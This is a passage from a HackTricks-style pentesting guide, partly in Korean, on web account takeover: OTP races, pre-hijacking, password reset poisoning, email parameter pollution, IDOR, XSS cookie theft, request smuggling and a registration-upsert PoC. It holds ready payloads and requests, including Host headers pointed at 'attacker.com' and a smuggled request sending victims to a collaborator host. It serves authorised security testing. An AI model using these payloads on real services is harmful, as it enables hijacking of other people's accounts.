def handleResponse(req, interesting): if req.status != 401 and b’Invalid’ not in req.response: table.add(req)

</details>

- Try racing verification: 동일한 유효한 OTP를 두 개의 세션에서 동시에 제출해 보세요; 때로는 한 세션이 검증된 attacker account가 되는 동안 피해자 흐름도 성공합니다.
- Also test Host header poisoning on verification links (same as reset poisoning below) to leak or complete verification on attacker controlled host.

<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>

<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>

<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>

## Account Pre‑Hijacking Techniques (before the victim signs up)

A powerful class of issues occurs when an attacker performs actions on the victim’s email before the victim creates their account, then regains access later.

Key techniques to test (adapt to the target’s flows):

- Classic–Federated Merge
- Attacker: registers a classic account with victim email and sets a password
- Victim: later signs up with SSO (same email)
- Insecure merges may leave both parties logged in or resurrect the attacker’s access
- Unexpired Session Identifier
- Attacker: creates account and holds a long‑lived session (don’t log out)
- Victim: recovers/sets password and uses the account
- Test if old sessions stay valid after reset or MFA enablement
- Trojan Identifier
- Attacker: adds a secondary identifier to the pre‑created account (phone, additional email, or links attacker’s IdP)
- Victim: resets password; attacker later uses the trojan identifier to reset/login
- Unexpired Email Change
- Attacker: initiates email‑change to attacker mail and withholds confirmation
- Victim: recovers the account and starts using it
- Attacker: later completes the pending email‑change to steal the account
- Non‑Verifying IdP
- Attacker: uses an IdP that does not verify email ownership to assert `victim@…`
- Victim: signs up via classic route
- Service merges on email without checking `email_verified` or performing local verification

Practical tips

- 웹/모바일 번들에서 흐름과 엔드포인트를 수집하세요. classic signup, SSO linking, email/phone change, 그리고 password reset 엔드포인트를 찾으세요.
- 다른 흐름을 테스트하는 동안 세션을 유지하도록 현실적인 자동화를 만드세요.
- For SSO tests, stand up a test OIDC provider and issue tokens with `email` claims for the victim address and `email_verified=false` to check if the RP trusts unverified IdPs.
- 비밀번호 재설정 또는 이메일 변경 후에는 다음을 확인하세요:
- 모든 다른 세션과 토큰이 무효화되었는지,
- 보류 중인 이메일/전화 변경 기능이 취소되었는지,
- 이전에 연동된 IdPs/이메일/전화번호가 재검증되었는지.

Note: Extensive methodology and case studies of these techniques are documented by Microsoft’s pre‑hijacking research (see References at the end).

<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>

<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>

## **Password Reset Takeover**

### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>

1. Request password reset to your email address
2. Click on the password reset link
3. Don’t change password
4. Click any 3rd party websites(eg: Facebook, twitter)
5. Intercept the request in Burp Suite proxy
6. Check if the referer header is leaking password reset token.

### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>

1. Intercept the password reset request in Burp Suite
2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Forward the request with the modified header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN`

### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

1. Attacker는 자신의 계정으로 로그인한 후 Change password 기능으로 이동해야 한다.
2. Burp Suite를 실행하고 요청을 Intercept한다.
3. 요청을 Repeater 탭으로 보내고 파라미터를 수정한다: User ID/email
   powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

The password reset token should be randomly generated and unique every time.
토큰이 만료되는지 또는 항상 동일한지 확인해보라. 경우에 따라 생성 알고리즘이 약해 추측될 수 있다. 알고리즘에 사용될 수 있는 변수는 다음과 같다.

• Timestamp
• UserID
• Email of User
• Firstname and Lastname
• Date of Birth
• Cryptography
• Number only
• Small token sequence ( characters between [A-Z,a-z,0-9])
• Token reuse
• Token expiration date

Leaking Password Reset Token

1. 특정 이메일(e.g: test@mail.com)에 대해 API/UI를 사용해 password reset 요청을 트리거한다.
2. 서버 응답을 검사하고 resetToken을 확인한다.
3. 그런 다음 토큰을 다음과 같은 URL에 사용한다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

1. 피해자의 username과 동일하지만 username 앞뒤로 공백을 삽입한 사용자명으로 시스템에 등록한다. e.g: "admin "
2. 악의적인 username으로 password reset을 요청한다.
3. 이메일로 전송된 토큰을 사용해 피해자의 비밀번호를 재설정한다.
4. 새 비밀번호로 피해자 계정에 로그인한다.

플랫폼 CTFd는 이 공격에 취약했다.
See: CVE-2020-7245

Account Takeover Via Cross Site Scripting

1. 애플리케이션이나 서브도메인에서 XSS를 찾는다 — 쿠키가 부모 도메인으로 scope되어 있는 경우: *.domain.com
2. Leak the current sessions cookie
3. 해당 쿠키를 사용해 사용자로 인증한다.

Account Takeover Via HTTP Request Smuggling

1. smuggler를 사용해 HTTP Request Smuggling 유형(CL, TE, CL.TE)을 탐지한다.
   powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\
2. 다음 데이터로 POST / HTTP/1.1를 덮어쓰는 요청을 구성한다:
   GET http://something.burpcollaborator.net HTTP/1.1 X: — 목적은 victims를 burpcollab로 open redirect 시켜 쿠키를 탈취하는 것이다.\
3. 최종 요청은 다음과 같이 보일 수 있다

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone에서 이 버그를 악용했다고 보고함\

• https://hackerone.com/reports/737140\
• https://hackerone.com/reports/771666

CSRF를 통한 계정 탈취

1. CSRF용 페이로드를 생성, 예: “HTML form with auto submit for a password change”
2. 페이로드 전송

JWT를 통한 계정 탈취

JSON Web Token은 사용자 인증에 사용될 수 있습니다.

• JWT의 User ID / Email을 다른 것으로 수정
• 취약한 JWT 서명 여부 확인

JWT Vulnerabilities (Json Web Tokens)

Registration-as-Reset (Upsert on Existing Email)

일부 signup 핸들러는 제공된 이메일이 이미 존재할 때 upsert를 수행합니다. 만약 endpoint가 이메일과 비밀번호만 포함된 최소한의 바디를 허용하고 소유권 검증을 강제하지 않으면, 피해자의 이메일을 전송하여 인증 이전에 비밀번호를 덮어쓸 수 있습니다.

• 발견: 번들된 JS(또는 모바일 앱 트래픽)에서 endpoint 이름을 수집한 뒤, ffuf/dirsearch를 사용해 /parents/application/v4/admin/FUZZ 같은 base path를 fuzz합니다.
• 방법 힌트: “Only POST request is allowed.” 같은 메시지를 반환하는 GET은 올바른 메서드가 POST임을, 그리고 JSON 바디가 예상됨을 나타내는 경우가 많습니다.
• 실제 사례에서 관찰된 최소 바디:

{"email":"victim@example.com","password":"New@12345"}

예제 PoC:

POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

영향: reset token, OTP 또는 email verification 없이 Full Account Takeover (ATO)이 가능합니다.

참고자료

• How I Found a Critical Password Reset Bug (Registration upsert ATO)
• Microsoft MSRC – Pre‑hijacking attacks on web user accounts (May 2022)
• https://salmonsec.com/cheatsheet/account_takeover
• Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

• 구독 계획 확인하기!
• **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
• HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.